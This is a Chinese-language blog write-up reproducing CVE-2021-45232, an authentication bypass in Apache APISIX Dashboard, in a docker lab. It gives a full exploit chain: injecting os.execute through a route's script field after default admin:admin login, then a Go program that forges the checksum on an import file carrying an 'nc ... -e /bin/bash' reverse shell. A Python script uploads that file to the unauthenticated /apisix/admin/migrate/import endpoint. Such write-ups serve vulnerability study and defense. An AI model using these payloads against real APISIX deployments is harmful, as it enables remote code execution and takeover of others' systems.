Apache APISIX Dashboard 未授权访问漏洞（CVE-2021-45232）

快来打我* 2023-10-08 19:48 5阅读 0赞

#### 目录 ####

*  漏洞描述
 *  影响范围
 *  环境部署
 *  后台RCE
 *  未授权接口RCE

**声明：本文仅供学习参考，其中涉及的一切资源均来源于网络，请勿用于任何非法行为，否则您将自行承担相应后果，本人不承担任何法律及连带责任。**

## 漏洞描述 ##

Apache APISIX 是一个动态、实时、高性能的 API 网关， 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架，所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口，从而绕过身份验证。

## 影响范围 ##

Apache APISIX Dashboard < 2.10.1

## 环境部署 ##

通过git clone apisix-docker

git clone https://github.com/apache/apisix-docker
    cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
    apache/apisix:2.6-alpine

![在这里插入图片描述][0f104878edee48579b7db15ebb800cfb.png]  
然后，docker-compose up -d 启动环境

环境起来后，浏览器通过默认端口9000访问apisix dashboard

![在这里插入图片描述][509a4bd1e50e486cb0cce6a905b1b19e.png]

## 后台RCE ##

由于apisix dashboard 默认账号和密码是admin:admin，所以我们先登录到后台，来验证一把远程命令执行

![在这里插入图片描述][3a05dea2be964d548434f1bae0510f37.png]  
首先创建一个上游服务，点击创建，名称随意命名，目标节点填写我们转发请求的服务，这里我们填写docker附带的Grafana应用，端口号为3000，点击下一步，提交即可。

![在这里插入图片描述][9b08449545e2443dbde2e34eea3a983e.png]  
![在这里插入图片描述][195a632f2f0d45099ddc301e1f5d903e.png]  
其次，创建一个路由，名称任意起，路径也是自定义，点击下一步，选择我们刚才创建的上游服务，最后，提交即可。  
![在这里插入图片描述][00012f5cb4a342548711ee77c1d78806.png]  
![在这里插入图片描述][c7ccb0c7f26345e09a2263977ce88904.png]  
![在这里插入图片描述][f3cf062bf06749e0b417f2185d9d96c9.png]  
![在这里插入图片描述][8c3d58cc13c64ff3aaec09a8965887ac.png]  
查看创建的路由  
![在这里插入图片描述][3e22267f05044af58cd4fe64f5880158.png]  
回到路由配置页面，点击配置，然后一直下一步，直到提交时，使用BurpSuite抓包

![在这里插入图片描述][ca8abb87a3af4849babe490f447f7c35.png]  
![在这里插入图片描述][82195285475147d598271504ba37ba90.png]  
然后在请求包的body中，添加一个script字段后，发送请求。

"script": "os.execute('touch /tmp/Keepb1ue')"

![在这里插入图片描述][eac871568efe475585669535fd09d231.png]

再次查看，路由配置信息

![在这里插入图片描述][b995d714184f42a78f8f824ba8069dfa.png]  
接着，我们访问一下: http://192.168.10.171:9080/rce111

docker中看一下，是否创建了Keepblue这个文件

![在这里插入图片描述][60ffa475977244958772340f56d167f9.png]

## 未授权接口RCE ##

如果没有默认密码或者弱密码的话，这时我们就利用未授权接口进行RCE了

/apisix/admin/migrate/export
    /apisix/admin/migrate/import

首先，使用/apisix/admin/migrate/export导出配置文件

因为是未授权，所以在未登陆情况下，BP抓包后，请求接口改为/apisix/admin/migrate/export，点击send后，看到配置文件信息

![在这里插入图片描述][5bbd415109eb45dbbb5d8e19483e19a0.png]

在导入配置文件时，会对配置文件的checksum值进行校验，那这里其实是可以通过写脚本算出checksum校验值，或者是根据apisix的源码去计算出新的checksum值

源码位置在：apisix-dashboard-master\\api\\internal\\handler\\migrate\\migrate.go的ExportConfig函数

将其计算源码单独抽取出来，并将需要导入的配置（data）进修替换和插入RCE语句

package main
    
    import (
        "encoding/binary"
        "fmt"
        "hash/crc32"
        "io/ioutil"
        "os"
    )
    func main() {
        
        gen()
    }
    func gen() {
        
        data := []byte(`{
        "Counsumers":[],"Routes":[{
        "id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{
        "id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{
        "host":"192.168.10.171","port":3000,"weight":1}],"timeout":{
        "connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{
        "id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
        checksumUint32 := crc32.ChecksumIEEE(data)
        checksumLength := 4
        checksum := make([]byte, checksumLength)
        binary.BigEndian.PutUint32(checksum, checksumUint32)
        fileBytes := append(data, checksum...)
    
        content := fileBytes
        fmt.Println(content)
    
        importData := content[:len(content)-4]
        checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
        if checksum2 != crc32.ChecksumIEEE(importData) {
        
            fmt.Println(checksum2)
            fmt.Println(crc32.ChecksumIEEE(importData))
            fmt.Println("Check sum check fail, maybe file broken")
            return
        }
        err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
        if err != nil {
        
            fmt.Println("error!!")
            return
        }
    }

运行这段脚本，会生成apisixPayload这个文件

![在这里插入图片描述][6acd7382286b47fbb4faf57627b7cfbf.png]

这个就是我们要import上去的计算好校验值的新的配置文件，接下来使用python代码可以简单的传到服务端

import requests
    url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
    files = {
        "file": open("apisixPayload", "rb")}
    r = requests.post(url, data={
        "mode": "overwrite"}, files=files)
    print(r.status_code)
    print(r.content)

![在这里插入图片描述][04dc5b6b0ffb49deb64c525a6cfc0b11.png]

在攻击机上，开启nc监听

![在这里插入图片描述][26e87dc49eb04f708ecff4e4b221d59d.png]  
接下来，访问路由地址(http://192.168.10.171:9080/rce111)，触发远程命令执行

查看nc反弹shell

![在这里插入图片描述][2fc21f04407948ea901722fba5130915.png]

反弹成功，说明命令已经执行

[0f104878edee48579b7db15ebb800cfb.png]: https://img-blog.csdnimg.cn/0f104878edee48579b7db15ebb800cfb.png
[509a4bd1e50e486cb0cce6a905b1b19e.png]: https://img-blog.csdnimg.cn/509a4bd1e50e486cb0cce6a905b1b19e.png
[3a05dea2be964d548434f1bae0510f37.png]: https://img-blog.csdnimg.cn/3a05dea2be964d548434f1bae0510f37.png
[9b08449545e2443dbde2e34eea3a983e.png]: https://img-blog.csdnimg.cn/9b08449545e2443dbde2e34eea3a983e.png
[195a632f2f0d45099ddc301e1f5d903e.png]: https://img-blog.csdnimg.cn/195a632f2f0d45099ddc301e1f5d903e.png
[00012f5cb4a342548711ee77c1d78806.png]: https://img-blog.csdnimg.cn/00012f5cb4a342548711ee77c1d78806.png
[c7ccb0c7f26345e09a2263977ce88904.png]: https://img-blog.csdnimg.cn/c7ccb0c7f26345e09a2263977ce88904.png
[f3cf062bf06749e0b417f2185d9d96c9.png]: https://img-blog.csdnimg.cn/f3cf062bf06749e0b417f2185d9d96c9.png
[8c3d58cc13c64ff3aaec09a8965887ac.png]: https://img-blog.csdnimg.cn/8c3d58cc13c64ff3aaec09a8965887ac.png
[3e22267f05044af58cd4fe64f5880158.png]: https://img-blog.csdnimg.cn/3e22267f05044af58cd4fe64f5880158.png
[ca8abb87a3af4849babe490f447f7c35.png]: https://img-blog.csdnimg.cn/ca8abb87a3af4849babe490f447f7c35.png
[82195285475147d598271504ba37ba90.png]: https://img-blog.csdnimg.cn/82195285475147d598271504ba37ba90.png
[eac871568efe475585669535fd09d231.png]: https://img-blog.csdnimg.cn/eac871568efe475585669535fd09d231.png
[b995d714184f42a78f8f824ba8069dfa.png]: https://img-blog.csdnimg.cn/b995d714184f42a78f8f824ba8069dfa.png
[60ffa475977244958772340f56d167f9.png]: https://img-blog.csdnimg.cn/60ffa475977244958772340f56d167f9.png
[5bbd415109eb45dbbb5d8e19483e19a0.png]: https://img-blog.csdnimg.cn/5bbd415109eb45dbbb5d8e19483e19a0.png
[6acd7382286b47fbb4faf57627b7cfbf.png]: https://img-blog.csdnimg.cn/6acd7382286b47fbb4faf57627b7cfbf.png
[04dc5b6b0ffb49deb64c525a6cfc0b11.png]: https://img-blog.csdnimg.cn/04dc5b6b0ffb49deb64c525a6cfc0b11.png
[26e87dc49eb04f708ecff4e4b221d59d.png]: https://img-blog.csdnimg.cn/26e87dc49eb04f708ecff4e4b221d59d.png
[2fc21f04407948ea901722fba5130915.png]: https://img-blog.csdnimg.cn/2fc21f04407948ea901722fba5130915.png